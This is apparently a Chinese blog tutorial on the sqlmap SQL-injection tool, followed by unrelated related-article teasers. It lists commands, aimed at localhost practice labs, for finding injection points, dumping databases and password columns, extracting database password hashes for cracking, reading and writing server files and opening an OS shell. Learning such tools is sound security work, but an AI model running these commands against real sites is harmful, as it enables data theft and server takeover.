sqlmap的使用

简介: sqlmap的使用

sqlmap的使用

sqlmap下载

windows版

https://github.com/sqlmapproject/sqlmap/zipball/master

linux版

https://github.com/sqlmapproject/sqlmap/tarball/master

基础篇

1、判断是否存在注入

python sqlmap.py -u http://127.0.0.1/sql1/less-1/?id=1 #注入点后面的参数大于等于两个时加双引号

2、 判断文本是否存在注入(bp抓post包)

python sqlmap.py -r desktop/1.txt  --dbs --batch //文本路径,一般放在桌面直接扫描

3、查询当前用户下所有数据库

python sqlmap.py -u http://127.0.0.1/sql1/less-1/?id=1 --dbs #继续查询时--dbs缩写成-D

4、获取指定数据库中的表名

python sqlmap.py -u "http://127.0.0.1/sql1/union.php?id=1" -D dkeye --tables #继续查询时--tables缩写成-T

5、获取表中的字段名

python sqlmap.py -u "http://127.0.0.1/sql1/union.php?id=1" -D dkeye -T user_info --columns #继续查询时--columns缩写成-C

6、获取字段内容

python sqlmap.py -u "http://127.0.0.1/sql1/union.php?id=1" -D dkeye -T user_info -C username,password --dump

7、获取数据库中所有的用户(当前用户有权限读取包含所有用户的表的权限时使用就可以列出所有管理用户)

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1"  --users

8、获取数据库用户的密码(一般是mysql5加密----www.cmd5.com中解密)

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --passwords 

9、获取当前网站数据库的名称和用户名称

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --current-db
python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --current-user

进阶篇

1、--leverl 5:探测等级,默认为1,为2时会自动测试http cookie,为3时测试http user-agent/referer

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --leverl 5

2、查看是否为管理员权限

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --is-dba

3、列出数据库管理员角色(有权限读取所有用户的表,仅仅适用于当前数据库是Oracle的时候)

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --roles

4、伪造referer

--referer http://www.baidu.com

5、运行自定义的sql语句

python sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --sql-shell

6、执行任意操作系统命令

--os-cmd --os-shell

7、从数据库服务器中读取文件

python sqlmap.py -u "url" \ --file-read "C:/exaple.exe" -v 1

8、上传文件到数据库服务器中(将本地的test.txt文件上传到目标服务器的C:/windows/temp下并重命名为hack.txt)

python sqlmap.py -u "url" --file-write \ test.txt --file-dest "C:/windows/temp/hack.txt" -v 1

9、指定数据库、任意User-Agent爆破、代理爆破

python sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbms=mysql     #指定其数据库为mysql
python sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
python sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --proxy=PROXY    #使用代理进行爆破
-p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

超进阶

tamper绕过脚本的编写,官方自带53个,但远远不够,这里就不往下写了,多读书多用就好了

目录
相关文章
|
JSON fastjson Java
FastJson、JackJson 以及 Gson 的区别
FastJson、JackJson 以及 Gson 是 Java 生态圈中三种常用的 Json 解析器,它们均可将 Java 对象序列化为 Json 格式的字符串,也可将 Json 字符串反序列化为 Java 对象。下面我们讨论一下三者在序列化和反序列化操作中的一些区别。
1335 0
|
7月前
|
SQL 存储 关系型数据库
数据库的行级锁与表锁?
表锁: 不会出现死锁,发生锁的冲突几率高,并发性低。 存储引擎在进行SQL数据读写请求前,会对涉及到的表进行加锁。 其中锁分为共享读锁和独占写锁:读锁会阻塞写,写锁会阻塞读和写。 行级锁: 会出现死锁,发生锁的冲突几率低,并发性高。 InnoDB引擎支持行锁,与Oracle不同,MySQL的行锁是通过索引加载的,也就是说,行锁是加在索引响应的行上的,要是对应的SQL语句没有走索引,则会全表扫描,行锁则无法实现,取而代之的是表锁,此时其它事务无法对当前表进行更新或插入操作。 行级锁注意事项: 行级锁必须有索引才能实现,否则会自动锁全表,那就不是行锁了。 两个事务不能锁同一个索引。 in
|
11月前
|
机器学习/深度学习 算法 数据挖掘
数据分析的 10 个最佳 Python 库
数据分析的 10 个最佳 Python 库
数据分析的 10 个最佳 Python 库
|
11月前
|
缓存 前端开发 API
|
11月前
|
搜索推荐 开发工具 Android开发
打造个性化Android应用:从设计到实现的旅程
【10月更文挑战第26天】在这个数字时代,拥有一个能够脱颖而出的移动应用是成功的关键。本文将引导您了解如何从概念化阶段出发,通过设计、开发直至发布,一步步构建一个既美观又实用的Android应用。我们将探讨用户体验(UX)设计的重要性,介绍Android开发的核心组件,并通过实际案例展示如何克服开发中的挑战。无论您是初学者还是有经验的开发者,这篇文章都将为您提供宝贵的见解和实用的技巧,帮助您在竞争激烈的应用市场中脱颖而出。
|
存储 安全 JavaScript
|
SQL JavaScript 前端开发
vue中使用分页组件、将从数据库中查询出来的数据分页展示(前后端分离SpringBoot+Vue)
这篇文章详细介绍了如何在Vue.js中使用分页组件展示从数据库查询出来的数据,包括前端Vue页面的表格和分页组件代码,以及后端SpringBoot的控制层和SQL查询语句。
vue中使用分页组件、将从数据库中查询出来的数据分页展示(前后端分离SpringBoot+Vue)
|
SQL 存储 关系型数据库
SQL判断CHAR类型字段不为空的方法与技巧
在SQL查询中,判断一个CHAR类型字段是否不为空是一个常见的需求
|
前端开发 API 微服务
SpringCloud微服务之间使用Feign调用不通情况举例
SpringCloud微服务之间使用Feign调用不通情况举例
1562 2
@RequiredArgsConstructor(onConstructor=@_(@Autowired))是什么语法?
@RequiredArgsConstructor(onConstructor=@_(@Autowired))是什么语法?
449 0